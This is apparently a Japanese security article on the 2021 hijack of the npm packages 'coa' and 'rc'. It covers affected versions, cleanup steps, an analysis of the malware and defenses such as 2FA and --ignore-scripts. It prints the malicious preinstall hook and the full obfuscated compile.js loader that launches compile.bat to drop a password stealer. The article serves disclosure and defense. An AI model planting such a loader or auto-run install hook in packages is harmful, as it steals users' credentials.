npm

npm の人気パッケージ 「coa」と「rc」にマルウェアが埋め込まれた

2021/11/5 npm パッケージ 「coa」と「rc」がハイジャックされ、パスワードを盗むマルウェアが埋め込まれました。現在の時点では問題のあったバージョンはすべて取り除かれています。

  • coa はコマンドライン引数のパーサーで、週に 880 万ダウンロードされています。有名なライブラリですと React がや @vue/cli-service がこのパッケージに依存しています。
  • rc は設定のローダーで、週に 130 万ダウンロードされています。

影響を受けたバージョン

coa

  • 2.0.3
  • 2.0.4
  • 2.1.1
  • 2.1.3
  • 3.0.1
  • 3.1.3

rc

  • 1.2.9
  • 1.3.9
  • 2.3.9

なにをすべきですか?

npm を利用しているレポジトリにおいて「coa」または「rc」の上記に該当するバージョンが存在するか package.lock.json または yarn.lock ファイルを確認します。

もしこれらのバージョンが含まれていた場合あなたのマシンに以下のファイルが含まれていないかどうか確認し、削除する必要があります。またあなたのパスワードの情報はすでに盗まれている可能性があるので速やかに変更をすべきです。

  • compile.js
  • compile.bat
  • sdd.dll

マルウェアの内容

埋め込まれたマルウェアは「coa」と「rc」どちらも同じ内容で、どちらも preinstall を利用した攻撃となっています。

preinstallnpm-script に定義できる Life Cycle Scripts と呼ばれる特殊なスクリプトであり npm install が実行される直前に実行されます。

"preinstall": "start /B node compile.js & node compile.js"

影響を受けたバージョンには compile.jscompile.bat という名前のファイルが含まれており npm install を実行することで compile.js が実行されてしまいます。

  • compile.js
const _0x29286e=_0x3b9e;(function(_0x595213,_0x1c7f12){const _0x524030=_0x3b9e,_0x10bbc4=_0x595213();while(!![]){try{const _0x5ab451=parseInt(_0x524030(0xef))/0x1*(-parseInt(_0x524030(0xfa))/0x2)+parseInt(_0x524030(0xf7))/0x3+-parseInt(_0x524030(0xf6))/0x4*(parseInt(_0x524030(0xf5))/0x5)+-parseInt(_0x524030(0xf2))/0x6*(-parseInt(_0x524030(0xed))/0x7)+-parseInt(_0x524030(0xf8))/0x8*(parseInt(_0x524030(0xe9))/0x9)+parseInt(_0x524030(0xeb))/0xa+parseInt(_0x524030(0xf3))/0xb*(parseInt(_0x524030(0xf4))/0xc);if(_0x5ab451===_0x1c7f12)break;else _0x10bbc4['push'](_0x10bbc4['shift']());}catch(_0x3b1efb){_0x10bbc4['push'](_0x10bbc4['shift']());}}}(_0x4f67,0x3d733));const {exec}=require('child_process');function _0x4f67(){const _0x5d7817=['28bejTPQ','1355673ZDaxId','779896MgsJdu','child_process','26358GzOkXk','MacOS','platform','cmd.exe','win64','27EVEPMY','win32','768760SJubeg','Linux','111587KPhwpG','compile.bat','11xGbwXc','linux','darwin','36HiOlse','11PTXHjR','3696096qOooYF','173780mPHnxy'];_0x4f67=function(){return _0x5d7817;};return _0x4f67();}var opsys=process[_0x29286e(0xfc)];function _0x3b9e(_0x21f5ee,_0x411966){const _0x4f6708=_0x4f67();return _0x3b9e=function(_0x3b9ecb,_0x3ac81f){_0x3b9ecb=_0x3b9ecb-0xe9;let _0x5a6794=_0x4f6708[_0x3b9ecb];return _0x5a6794;},_0x3b9e(_0x21f5ee,_0x411966);}if(opsys==_0x29286e(0xf1))opsys=_0x29286e(0xfb);else{if(opsys==_0x29286e(0xea)||opsys==_0x29286e(0xfe)){opsys='Windows';const {spawn}=require(_0x29286e(0xf9)),bat=spawn(_0x29286e(0xfd),['/c',_0x29286e(0xee)]);}else opsys==_0x29286e(0xf0)&&(opsys=_0x29286e(0xec));}

compile.js が実行されることで compile.bat というバッチファイルが実行されます。このバッチが実行されると sdd.dll がインストールされ起動されます。このマルウェアは、Windows 用のパスワード盗用トロイの木馬である Danabot である可能性が高いです。

Danabot が読み込まれると、以下のようなさまざまな悪意ある活動を行います。

  • Chrome、Firefox、Opera、Internet Explorer、Safari などのさまざまなウェブブラウザからパスワードを盗む。
  • VNC、FTP クライアント、メールアカウントなど、さまざまなアプリケーションからパスワードを盗む。 保存されているクレジットカードを盗む。
  • アクティブな画面のスクリーンショットを撮る。
  • キーストロークを記録する。

npm のセキュリティに対する対策

2FA の有効化

マルウェアが埋め込まれた現在として npm のパッケージを公開する権限がある人のアカウントが乗っ取られたことが要因として上げられています。npm としては同様の攻撃を防ぐため2FAを有効にすることが強く推奨されています。

https://twitter.com/npmjs/status/1456310653681999876

pre-install を無効化する

マルウェアの実行の多くは pre-install スクリプトによって行われています。パッケージをインストールする際に --ignore-scripts オプションを付与することでスクリプトの実行をオプトアウトできます。

npm install --ignore-scripts
yarn add --ignore-scripts

参考


Contributors

> GitHub で修正を提案する
この記事をシェアする
はてなブックマークに追加

関連記事